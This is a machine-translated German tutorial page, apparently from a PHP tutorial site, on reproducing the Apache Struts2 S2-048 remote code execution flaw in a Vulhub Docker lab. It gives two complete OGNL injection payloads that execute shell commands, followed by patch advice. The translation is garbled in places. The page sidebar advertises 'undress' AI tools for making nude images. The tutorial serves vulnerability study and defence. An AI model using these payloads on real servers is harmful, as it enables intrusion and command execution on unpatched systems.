


So reproduzieren Sie die Schwachstelle Apache Struts2--048 bezüglich Remotecodeausführung
0x00Einführung
Das Struts2-Framework ist ein Framework für die Entwicklung von Java EE-Netzwerkanwendungen Die Open-Source-Webanwendungsarchitektur des Programms. Es nutzt und erweitert die Java-Servlet-API und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige der Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist.
0x01 Schwachstellenübersicht
In der Apache Struts2 2.3.x-Serie sind das Plug-in struts2-struts1-plugin und das struts2-showcase aktiviert Verzeichnis existiert und seine Schwachstelle Die Ursache ist, dass, wenn ActionMessage vom Kunden steuerbare Parameterdaten empfängt, eine unsachgemäße Verarbeitung nach dem anschließenden Spleißen und Übertragen der Daten zur Ausführung willkürlichen Codes führt
0x02 Umfang der Auswirkungen#🎜 🎜##🎜 🎜Die Version mit aktiviertem Struts2-Struts1-Plugin in der #Apache Struts 2.3.x-Serie.
0x03-Umgebungskonstruktion1 Es ist komplizierter, Apache Struts2 selbst zu erstellen. Diese Schwachstellenumgebung wird mithilfe der Docker-Umgebung erstellt Vulhub.
Download-Adresse: https://github.com/vulhub/vulhub
2 Entpacken Sie nach dem Herunterladen das Verzeichnis s2-048, starten Sie die Schwachstellenumgebung # 🎜🎜## 🎜🎜#cd cd vulhub-master/struts2/s2-048/ //Geben Sie das Verzeichnis ein
docker-compose up -d //Schießstand starten# 🎜🎜#3 Verwenden Sie Docker PS, um zu überprüfen, ob der Start erfolgreich ist
4. Geben Sie http:your-ip:8080/hello.action in den Browser ein und prüfen Sie, ob die folgende Seitenumgebung eingerichtet wurde
#🎜 🎜#
0x04 Schwachstellenwiederherstellung jetzt
1. Geben Sie den folgenden Link in den Browser ein, um auf die Schwachstellenseite zuzugreifen
http: //192.168.3.160:8080/integration/saveGangster.action#🎜🎜 #
2. Geben Sie ${1+1} in das erste Formular „Gangstername“ ein. Geben Sie unten ein, was Sie möchten, und klicken Sie auf „Senden“, um den ausgeführten OGNL-Ausdruck anzuzeigen ${1+1} at Gangster Name“ für den folgenden Befehl. Payload-Anweisung ausgeführt
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context['com.opensymphony .xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil .getExcludedPackageNames().clear()).(#ognlUtil .getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils @toString(@java.lang.Runtime@getRuntime() .exec('id').getInputStream())).(#q)}
ausgeführt wird. Hinweis: die Nutzlast muss URL-codiert sein
%{(#dm=@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com. opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com. opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(# ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))) .(#cmd='id').(#iswin=(@java.lang.System@getProperty('os. name').toLowerCase().contains('win'))).(#cmds=(# iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash',' -c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds )).(#p.redirectErrorStream(true)).(#process=#p.start()).(# ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).( @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(# ros.flush())}
4. Es kann mithilfe automatisierter Skripte oder grafischer Tools implementiert werden und wird hier nicht demonstriert.
Tools können auf GitHub gesucht und heruntergeladen werden
0x05 Reparaturvorschläge
1. Es wird empfohlen, ein Upgrade auf die neueste Version durchzuführen
2. Deaktivieren und schließen Sie Struts-2.3 .xappsstruts2-showcase.war-Paket
Das obige ist der detaillierte Inhalt vonSo reproduzieren Sie die Schwachstelle Apache Struts2--048 bezüglich Remotecodeausführung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen

1. Einleitung Die Struts2-Schwachstelle ist eine klassische Reihe von Schwachstellen. Die Hauptursache liegt darin, dass Struts2 OGNL-Ausdrücke einführt, um das Framework flexibel und dynamisch zu machen. Da das Patchen des gesamten Frameworks verbessert wurde, wird es jetzt viel schwieriger sein, neue Schwachstellen in Struts2 zu entdecken. Der tatsächlichen Situation nach zu urteilen, haben die meisten Benutzer bereits historische Schwachstellen mit hohem Risiko behoben. Derzeit werden Struts2-Schwachstellen bei Penetrationstests hauptsächlich dem Zufall überlassen, oder es ist effektiver, ungepatchte Systeme anzugreifen, nachdem sie dem Intranet ausgesetzt wurden. Analyseartikel im Internet analysieren diese Struts2-Schwachstellen hauptsächlich aus der Perspektive von Angriff und Ausnutzung. Als neues Offensiv- und Defensivteam des H3C ist es Teil unserer Aufgabe, die Regelbasis der ips-Produkte aufrechtzuerhalten. Heute werden wir dieses System überprüfen.

Das Prinzip des Struts2-Frameworks: 1. Der Interceptor analysiert den Anforderungspfad. 3. Erstellt das Aktionsobjekt. 5. Gibt das Ergebnis zurück Parsing. Sein Prinzip basiert auf dem Interceptor-Mechanismus, der den Geschäftslogik-Controller vollständig von der Servlet-API trennt und so die Wiederverwendbarkeit und Wartbarkeit des Codes verbessert. Durch die Verwendung des Reflexionsmechanismus kann das Struts2-Framework flexibel Aktionsobjekte erstellen und verwalten, um Anfragen und Antworten zu verarbeiten.

Vulhub-Schwachstellenserie: Struts2-Schwachstelle S2-0011. Beschreibung der Schwachstelle: Struts2-Schwachstelle S2-001. Wenn der Benutzer Formulardaten übermittelt und die Überprüfung fehlschlägt, verwendet der Server den OGNL-Ausdruck, um den zuvor vom Benutzer übermittelten Parameterwert %{value} zu analysieren füllt die entsprechenden Formulardaten auf. Zum Beispiel auf einer Registrierungs- oder Anmeldeseite. Wenn eine Übermittlung fehlschlägt, gibt der Server normalerweise standardmäßig die zuvor übermittelten Daten zurück. Da der Server %{value} verwendet, um eine OGNL-Ausdrucksanalyse für die übermittelten Daten durchzuführen, kann der Server die Nutzlast direkt senden, um den Befehl auszuführen. 2. Ausnutzung von Vulhub-Schwachstellen: Durch die Verwendung von Vulhub zur Reproduktion von Schwachstellen kann der Umgebungskonstruktionsprozess eingespart werden, was sehr praktisch ist. vu

Vorwort Am 22. August 2018 veröffentlichte Apache Struts2 eine Sicherheitslücke mit hohem Risiko für die Remotecodeausführung (S2-057/CVE-2018-11776). Die Sicherheitslücke wurde von ManYueMo, einem Sicherheitsforscher, entdeckt SemmleSecurityResearch-Team. Diese Sicherheitsanfälligkeit ist auf die Tatsache zurückzuführen, dass bei Verwendung der Namespace-Funktion zum Definieren der XML-Konfiguration im Struts2-Entwicklungsframework der Namespace-Wert nicht festgelegt ist und nicht in der Aktionskonfiguration der oberen Ebene (ActionConfiguration) festgelegt ist oder ein Platzhalter-Namespace verwendet wird. Dies kann zur Remote-Codeausführung führen. Auf die gleiche Weise, u

0x00 Einführung Struts2 ist ein sehr leistungsfähiges JavaWeb-Open-Source-Framework, das von der Apache-Softwareorganisation gestartet wurde und im Wesentlichen einem Servlet entspricht. Struts2 basiert auf der MVC-Architektur und verfügt über eine klare Framework-Struktur. Es wird normalerweise als Controller zum Einrichten der Dateninteraktion zwischen Modellen und Ansichten verwendet und zum Erstellen von Java-Webanwendungen auf Unternehmensebene verwendet. Es nutzt und erweitert die JavaServletAPI und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist. 0x01-Schwachstelle

0x00 Einführung Das Struts2-Framework ist eine Open-Source-Webanwendungsarchitektur für die Entwicklung von JavaEE-Webanwendungen. Es nutzt und erweitert JavaServletAPI und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige der Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist. Übersicht über die Sicherheitslücke 0x01. In der ApacheStruts22.3.x-Serie ist das Plug-in struts2-struts1-plugin aktiviert und das Verzeichnis struts2-showcase ist vorhanden

1. Überblick Struts ist ein Open-Source-Projekt, das von der Apache Software Foundation (ASF) gefördert wird. Es begann als Teilprojekt innerhalb des Jakarta-Projekts und wurde später zu einem Spitzenprojekt von ASF. Es implementiert das Anwendungsframework [WebFramework] basierend auf dem Model-View-Controller [MVC]-Entwurfsmuster von JavaEE-Webanwendungen unter Verwendung der JavaServlet/JSP-Technologie. Es ist ein klassisches Produkt im klassischen MVC-Entwurfsmuster. In den frühen Tagen der Entwicklung von JavaEE-Webanwendungen wurde HTM zusätzlich zur Servlet-Technologie im Allgemeinen im Quellcode von JavaServerPages (JSP) verwendet.

Derzeit hat Apache offiziell ein Versionsupdate veröffentlicht, um die Schwachstelle zu beheben. Es wird empfohlen, dass Benutzer die Apache Struts-Produktversion rechtzeitig bestätigen. Falls betroffen, ergreifen Sie bitte rechtzeitig Patch-Maßnahmen. 1. Einführung in die Sicherheitslücke ApacheStruts2 ist ein Teilprojekt des Jakarta-Projekts der American Apache Software Foundation. Es handelt sich um ein Webanwendungs-Framework, das auf MVC-Design basiert. Am 22. August 2018 veröffentlichte Apache offiziell die Sicherheitslücke Apache Struts2S2-057 (CNNVD-201808-740, CVE-2018-11776). Beim Aktivieren der Pan-Namespace-Funktion im Struts2-Entwicklungsframework
